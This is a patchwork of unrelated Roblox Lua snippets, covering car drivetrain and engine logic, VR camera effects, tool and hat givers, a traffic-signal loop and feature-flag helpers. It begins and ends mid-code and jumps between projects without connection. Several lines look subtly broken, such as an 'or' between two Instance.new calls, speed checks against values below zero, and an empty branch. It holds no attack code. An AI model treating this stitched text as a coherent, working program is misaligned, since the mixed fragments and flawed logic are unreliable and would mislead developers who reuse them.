car.Misc.FR.Mirror.SS.Motor.DesiredAngle = 0.9 end F.MirrorsUNFOLD = function() car.Misc.FL.Mirror.SS.Motor.DesiredAngle = 0 car.Misc.FR.Mirror.SS.Motor.DesiredAngle = 0 end script.Parent.OnServerEvent:connect(function(Player, Func, ...) if F[Func] then F[Func](...) end end)
-- ROBLOX deviation START: not supporting windows path separator -- local slash = require(Packages.slash)
local slash = function(path_: string): string return path_:gsub("\\", "/") end
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Nightvision" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(1,1,2) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentForward = Vector3.new(-0, -0, -1) h.AttachmentPos = Vector3.new(0, 0.23, 0.35) h.AttachmentRight = Vector3.new(1, 0, 0) h.AttachmentUp = Vector3.new(0, 1, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[=[ Bounces the current named script to the expected version of this module @private @class BounceTemplate ]=]
local function waitForValue(objectValue) local value = objectValue.Value if value then return value end return objectValue.Changed:Wait() end return require(waitForValue(script:WaitForChild("BounceTarget")))
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = true local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if DM.Value == "Sport" or DM.Value == "SportPlus" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end elseif DM.Value == "Comfort" then if _RPM>(ComfShift+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(ComfShift-_Tune.AutoDownThresh) then end end else if DM.Value == "Sport" or DM.Value == "SportPlus" then if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end elseif DM.Value == "Comfort" then if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(ComfShift+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(ComfShift-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
--Camera bobbing -- Shakes the camera when the player is walking
local runService = game:GetService("RunService") local character = script.Parent local humanoid = character:WaitForChild("Humanoid") function updateBobbleEffect() local currentTime = tick() if humanoid.MoveDirection.Magnitude > 0 then local bobbleX = math.cos(currentTime * 10) * .25 local bobbleY = math.abs(math.sin(currentTime * 10)) * .25 local bobble = Vector3.new(bobbleX, bobbleY, 0) humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25) else humanoid.CameraOffset = humanoid.CameraOffset * .75 end end runService.RenderStepped:Connect(updateBobbleEffect)
--[[ The symbol used to denote the children of an instance when working with the `New` function. ]]
return { type = "Symbol", name = "Children" }
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
MakeWeld(car.DriveSeat,misc:WaitForChild('Aero')) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end) MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W" ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)
--[=[ Transforms the brio into an observable that emits the initial value of the brio, and then another value on death @param brio Brio<T> | T @param emitOnDeathValue U @return Observable<T | U> ]=]
function RxBrioUtils.toEmitOnDeathObservable(brio, emitOnDeathValue) if not Brio.isBrio(brio) then return Rx.of(brio) else return Observable.new(function(sub) if brio:IsDead() then sub:Fire(emitOnDeathValue) sub:Complete() else sub:Fire(brio:GetValue()) return brio:GetDiedSignal():Connect(function() sub:Fire(emitOnDeathValue) sub:Complete() end) end end) end end
--This will help reduce lag by removing the train upon a server starting. Less trains lyin' around, less lag
wait(1) script.Parent.Cart:Destroy() wait(1) script:Destroy()
-- вертикальный вектор
function module.lookAtY(target, eye) local forwardVector = (eye - target) local upVector = Vector3.new(0, 1, 0) -- You have to remember the right hand rule or google search to get this right local rightVector = forwardVector:Cross(upVector) local upVector2 = rightVector:Cross(forwardVector) return CFrame.fromMatrix(eye, -rightVector, upVector2) -- upVector2 - для вертикали end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end local Rocket = Instance.new("Part") Rocket.Locked = true Rocket.Size = Vector3.new(1,1,1) Rocket.Shape = Enum.PartType.Ball Rocket.Color = Color3.fromRGB(0,0,0) Rocket.CanCollide=false
-- скрипт для установки фильтра
me = script.Parent local function onButtonActivated() -- выделение me.BackgroundTransparency=0.6 plr.Odeto.GUID.Value = item.Name end me.Activated:Connect(onButtonActivated)
--[[ Gets the Context object for the current node. ]]
function TestSession:getContext() assert(#self.contextStack > 0, "Tried to get context from an empty stack!") return self.contextStack[#self.contextStack] end function TestSession:getExpectationContext() assert(#self.expectationContextStack > 0, "Tried to get expectationContext from an empty stack!") return self.expectationContextStack[#self.expectationContextStack] end
-- If using VR
if UserInputService.VREnabled and VRUseHeadsetControls.Value == true then VRService.UserCFrameChanged:connect(function(CFrametype,VRSpot) local x,y = VRSpot:toEulerAnglesXYZ() local Sensitivity = 1.2 if CFrametype == Enum.UserCFrame.Head then -- Direction if -x*Sensitivity > -1 and -x*Sensitivity < 1 then -- Makes sure the headset isn't tilted too much Direction = -x*Sensitivity elseif -x*Sensitivity > 0 then -- Otherwise we'll go to the max speed Direction = 1 elseif -x*Sensitivity < 0 then -- Otherwise we'll go to the max speed Direction = -1 end -- Steering if -y > -1 and -y < 1 then -- Makes sure the headset isn't tilted too much Steer = -y elseif -y > 0 then -- Otherwise we'll go to the max speed Steer = 1 elseif -y < 0 then -- Otherwise we'll go to the max speed Steer = -1 end end end) end
-- (VR) Screen effects --------------
function VRBaseCamera:StartFadeFromBlack() if UserGameSettings.VignetteEnabled == false then return end local VRFade = Lighting:FindFirstChild("VRFade") if not VRFade then VRFade = Instance.new("ColorCorrectionEffect") VRFade.Name = "VRFade" VRFade.Parent = Lighting end VRFade.Brightness = -1 self.VRFadeResetTimer = 0.1 end function VRBaseCamera:UpdateFadeFromBlack(timeDelta: number) local VRFade = Lighting:FindFirstChild("VRFade") if self.VRFadeResetTimer > 0 then self.VRFadeResetTimer = math.max(self.VRFadeResetTimer - timeDelta, 0) local VRFade = Lighting:FindFirstChild("VRFade") if VRFade and VRFade.Brightness < 0 then VRFade.Brightness = math.min(VRFade.Brightness + timeDelta * VR_FADE_SPEED, 0) end else if VRFade then -- sanity check, VRFade off VRFade.Brightness = 0 end end end function VRBaseCamera:StartVREdgeBlur(player) if UserGameSettings.VignetteEnabled == false then return end local blurPart = nil blurPart = (workspace.CurrentCamera :: Camera):FindFirstChild("VRBlurPart") if not blurPart then local basePartSize = Vector3.new(0.44,0.47,1) blurPart = Instance.new("Part") blurPart.Name = "VRBlurPart" blurPart.Parent = workspace.CurrentCamera blurPart.CanTouch = false blurPart.CanCollide = false blurPart.CanQuery = false blurPart.Anchored = true blurPart.Size = basePartSize blurPart.Transparency = 1 blurPart.CastShadow = false RunService.RenderStepped:Connect(function(step) local userHeadCF = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrCF = (workspace.CurrentCamera :: Camera).CFrame * (CFrame.new(userHeadCF.p * (workspace.CurrentCamera :: Camera).HeadScale) * (userHeadCF - userHeadCF.p)) blurPart.CFrame = (vrCF * CFrame.Angles(0, math.rad(180), 0)) + vrCF.LookVector * (1.05 * (workspace.CurrentCamera :: Camera).HeadScale) blurPart.Size = basePartSize * (workspace.CurrentCamera :: Camera).HeadScale end) end local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen") local VRBlur = nil if VRScreen then VRBlur = VRScreen:FindFirstChild("VRBlur") end if not VRBlur then if not VRScreen then VRScreen = Instance.new("SurfaceGui") or Instance.new("ScreenGui") end VRScreen.Name = "VRBlurScreen" VRScreen.Parent = player.PlayerGui VRScreen.Adornee = blurPart VRBlur = Instance.new("ImageLabel") VRBlur.Name = "VRBlur" VRBlur.Parent = VRScreen VRBlur.Image = "rbxasset://textures/ui/VR/edgeBlur.png" VRBlur.AnchorPoint = Vector2.new(0.5, 0.5) VRBlur.Position = UDim2.new(0.5, 0, 0.5, 0) -- this computes the ratio between the GUI 3D panel and the VR viewport -- adding 15% overshoot for edges on 2 screen headsets local ratioX = (workspace.CurrentCamera :: Camera).ViewportSize.X * 2.3 / VR_PANEL_SIZE local ratioY = (workspace.CurrentCamera :: Camera).ViewportSize.Y * 2.3 / VR_PANEL_SIZE VRBlur.Size = UDim2.fromScale(ratioX, ratioY) VRBlur.BackgroundTransparency = 1 VRBlur.Active = true VRBlur.ScaleType = Enum.ScaleType.Stretch end VRBlur.Visible = true VRBlur.ImageTransparency = 0 self.VREdgeBlurTimer = VR_SCREEN_EGDE_BLEND_TIME end function VRBaseCamera:UpdateEdgeBlur(player, timeDelta) local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen") local VRBlur = nil if VRScreen then VRBlur = VRScreen:FindFirstChild("VRBlur") end if VRBlur then if self.VREdgeBlurTimer > 0 then self.VREdgeBlurTimer = self.VREdgeBlurTimer - timeDelta local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen") if VRScreen then local VRBlur = VRScreen:FindFirstChild("VRBlur") if VRBlur then VRBlur.ImageTransparency = 1.0 - math.clamp(self.VREdgeBlurTimer, 0.01, VR_SCREEN_EGDE_BLEND_TIME) * (1/VR_SCREEN_EGDE_BLEND_TIME) end end else VRBlur.Visible = false end end end function VRBaseCamera:GetCameraHeight() if not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end function VRBaseCamera:GetSubjectCFrame(): CFrame local result = BaseCamera.GetSubjectCFrame(self) local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return result end -- new VR system overrides if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectCFrame end end if result then self.lastSubjectCFrame = result end return result end function VRBaseCamera:GetSubjectPosition(): Vector3? local result = BaseCamera.GetSubjectPosition(self) -- new VR system overrides local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectPosition end elseif cameraSubject:IsA("VehicleSeat") then local offset = VR_SEAT_OFFSET result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) end else return nil end self.lastSubjectPosition = result return result end
--MAIN
Proximity.Triggered:Connect(function() if debounce == false then debounce = true gui.Visible = true wait(4) gui.Visible = false wait(10) debounce = false end end)
-- Create component
local Component = Cheer.CreateComponent('BTDropdown', View); function Component.Start(Options, CurrentOption, Callback) -- Toggle options when clicked Cheer.Bind(View, Component.Toggle); -- Draw the component with the given options Component.Draw(Options, CurrentOption, Callback); -- Return component for chaining return Component; end; function Component.Toggle() -- Toggles the visibility of the dropdown options -- Show each option button open or closed local Buttons = View.Options:GetChildren(); for _, Button in pairs(Buttons) do Button.Visible = not Button.Visible; end; end; function Component.SetOption(Option) -- Draws the current option into the dropdown -- Set the label View.CurrentOption.Text = Option:upper(); end; function Component.Draw(Options, CurrentOption, Callback) -- Draws the dropdown with the given data -- Clear existing buttons View.Options:ClearAllChildren(); -- Create a button for each option for Index, Option in ipairs(Options) do -- Create the button local Button = View.OptionButton:Clone(); Button.Parent = View.Options; Button.OptionLabel.Text = Option:upper(); Button.MouseButton1Click:Connect(function () Callback(Option); Component.SetOption(Option); Component.Toggle(); end); -- Position the button Button.Position = UDim2.new( math.ceil(Index / 9) - 1, Button.Position.X.Offset + (math.ceil(Index / 9) * -1) + 1, (Index % 9 == 0 and 9 or Index % 9) * Button.Size.Y.Scale, Button.Position.Y.Offset ); end; -- Show the view View.Visible = true; end; return Component;
--[[Read line 24 of the script. Just edit the word "D4Tide" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]
local debounce = false function getPlayer(humanoid) local players = game.Players:children() for i = 1, #players do if players[i].Character.Humanoid == humanoid then return players[i] end end return nil end function onTouch(part) local human = part.Parent:findFirstChild("Humanoid") if (human ~= nil) and debounce == false then debounce = true local player = getPlayer(human) if (player == nil) then return end game.Lighting.Rifle:clone().Parent = player.Backpack wait(5) debounce = false end end script.Parent.Touched:connect(onTouch)
-- See if I have a tool
local spawner = script.Parent local tool = script.Parent.Pizza local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2), Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2)) local parts = game.Workspace:FindPartsInRegion3(region) for _, part in pairs(parts) do if part and part.Parent and part.Parent:IsA("Tool") then tool = part.Parent break end end local configTable = spawner.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("SpawnCooldown", 5) if tool then tool.Parent = game.ServerStorage while true do -- put tool on pad local toolCopy = tool:Clone() local handle = toolCopy:FindFirstChild("Handle") toolCopy.Parent = game.Workspace local toolOnPad = true local parentConnection parentConnection = toolCopy.AncestryChanged:connect(function() if handle then handle.Anchored = false end toolOnPad = false parentConnection:disconnect() end) if handle then handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) handle.Anchored = true end -- wait for tool to be removed while toolOnPad do if handle then handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60) end wait() end -- wait for cooldown wait(configs["SpawnCooldown"]) end end
-- Generates a heartbeat connection for every audio visual / tween in the given schema file
function SchemaProcessor:Process() print("Processing") local success, err = pcall(function() self.schema:Run() -- this call only caches properties the first time, subsequent calls will not overwrite -- TODO: these are called every time seek is called, which they only need to be called 1x per scene self.schema:cacheInitialTweenProperties() self.schema:resetTweenObjects() self.schema.OrderedConfigs = self.schema:orderConfigs() self.connection = self.RunService.Heartbeat:Connect(function() for _, data in pairs(self.schema.OrderedConfigs) do local config = data.config local startTime = data.startTime if self.timePosition.Value >= startTime and config.Processed[startTime] == false then config.Processed[startTime] = true coroutine.wrap(function() config:Process(self, startTime) end)() end end end) self.Maid:add(self.connection) self.Maid:add(self.schema.Maid, "clean") end) if not success then warn("Run errored for your scene!") warn(err) end return success, err end function SchemaProcessor:EndScene() print("End of scene. Running OnEndScene for Schema") local success, err = pcall(function() self.schema:EndScene() end) if not success then warn("EndScene errored for your scene!") warn(err) end return success, err end function SchemaProcessor.new(schema, timePosition) -- TODO: validate schema file: validateSchemaFile() assert(schema ~= nil, "You haven't subscribed a schema file for the Schema Processor!") assert(timePosition ~= nil, "You haven't subscribed a time position for the Schema Processor!") local self = { Maid = Maid.new(), schema = schema, timePosition = timePosition, processingPool = {}, } setmetatable(self, SchemaProcessor) self.Maid:add(self.schema.Maid, "clean") return self end function SchemaProcessor:CleanUp() self.Maid:clean() end return SchemaProcessor
-- Configuration
local shakeMagnitude = 0.05 -- Magnitude of screen shake local shakeDuration = 0.5 -- Duration of screen shake local soundThreshold = 1 -- Minimum loudness of sound to trigger screen shake
-- Wait for torso (assume everything else will load at the same time)
waitFor( getCharacter(), "UpperTorso" );
-- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end
currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.Torso.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.Torso.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility
-- Helper function to throttle based on player Id:
function FlagSettings.ThrottleUserId(throttle, userId) assert(type(throttle) == "number") assert(type(userId) == "number") -- Determine userRollout using last two digits of user ID: -- (+1 to change range from 0-99 to 1-100 as 0 is off, 100 is full on): local userRollout = (userId % 100) + 1 return userRollout <= throttle end function FlagSettings.IsShareGamePageEnabledByPlatform(platform) if not FFlagSettingsHubBarsRefactor then return false end local throttle if platform == Enum.Platform.Windows then throttle = FFlagSettingsHubInviteToGameWindows elseif platform == Enum.Platform.OSX then throttle = FFlagSettingsHubInviteToGameOSX elseif platform == Enum.Platform.IOS then throttle = FFlagSettingsHubInviteToGameIOS elseif platform == Enum.Platform.Android then throttle = FFlagSettingsHubInviteToGameAndroid elseif platform == Enum.Platform.UWP then throttle = FFlagSettingsHubInviteToGameUWP end local throttleNumber = tonumber(throttle) if not throttleNumber then return false end local userId = Players.LocalPlayer.UserId return FlagSettings.ThrottleUserId(throttleNumber, userId) end return FlagSettings
--FLASH MODE-- --Signal1: Flashing Yellow --Signal2: Flashing Red
while true do script.Parent.Parent.SignalValues.Signal1.Value = 2 script.Parent.Parent.SignalValues.Signal1a.Value = 2 script.Parent.Parent.SignalValues.Signal2.Value = 0 script.Parent.Parent.SignalValues.Signal2a.Value = 0 script.Parent.Parent.TurnValues.TurnSignal1.Value = 2 script.Parent.Parent.TurnValues.TurnSignal1a.Value = 2 script.Parent.Parent.TurnValues.TurnSignal2.Value = 0 script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0 script.Parent.Parent.PedValues.PedSignal1.Value = 0 script.Parent.Parent.PedValues.PedSignal1a.Value = 0 script.Parent.Parent.PedValues.PedSignal2.Value = 0 script.Parent.Parent.PedValues.PedSignal2a.Value = 0 wait(.5) script.Parent.Parent.SignalValues.Signal1.Value = 0 script.Parent.Parent.SignalValues.Signal1a.Value = 0 script.Parent.Parent.SignalValues.Signal2.Value = 3 script.Parent.Parent.SignalValues.Signal2a.Value = 3 script.Parent.Parent.TurnValues.TurnSignal1.Value = 0 script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0 script.Parent.Parent.TurnValues.TurnSignal2.Value = 3 script.Parent.Parent.TurnValues.TurnSignal2a.Value = 3 script.Parent.Parent.PedValues.PedSignal1.Value = 0 script.Parent.Parent.PedValues.PedSignal1a.Value = 0 script.Parent.Parent.PedValues.PedSignal2.Value = 0 script.Parent.Parent.PedValues.PedSignal2a.Value = 0 wait(.5) end
--!strict
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T>
--[[ REQUIRED FOR RTRA RP SESSIONS!!! not having this script will cause your car to phase through the ground :^) Drop in the main model where caradmin and anticollide is obviously don't go fiddling with any of the script --]]
script.Parent:WaitForChild("Wheels") fronts = script.Parent.Wheels.FL.Size.Y rears = script.Parent.Wheels.RR.Size.Y function TireSetups(wheelname, wheel, which) local tire = Instance.new("Part") tire.Parent = script.Parent.Wheels:FindFirstChild(wheelname).Parts tire.Name = "Rep" tire.Shape = 0 tire.Anchored = true tire.Size = wheel.Size - Vector3.new(0.4, 0.4, 0.4) tire.CustomPhysicalProperties = PhysicalProperties.new(0.01, 0.2, 0.5, 100, 1) tire.CFrame = CFrame.new(wheel.Position) tire.CanCollide = true tire.Transparency = 1 end TireSetups(script.Parent.Wheels.FL.Name, script.Parent.Wheels.FL, fronts) TireSetups(script.Parent.Wheels.FR.Name, script.Parent.Wheels.FR, fronts) TireSetups(script.Parent.Wheels.RL.Name, script.Parent.Wheels.RL, rears) TireSetups(script.Parent.Wheels.RR.Name, script.Parent.Wheels.RR, rears)
-- Create the player input event handler
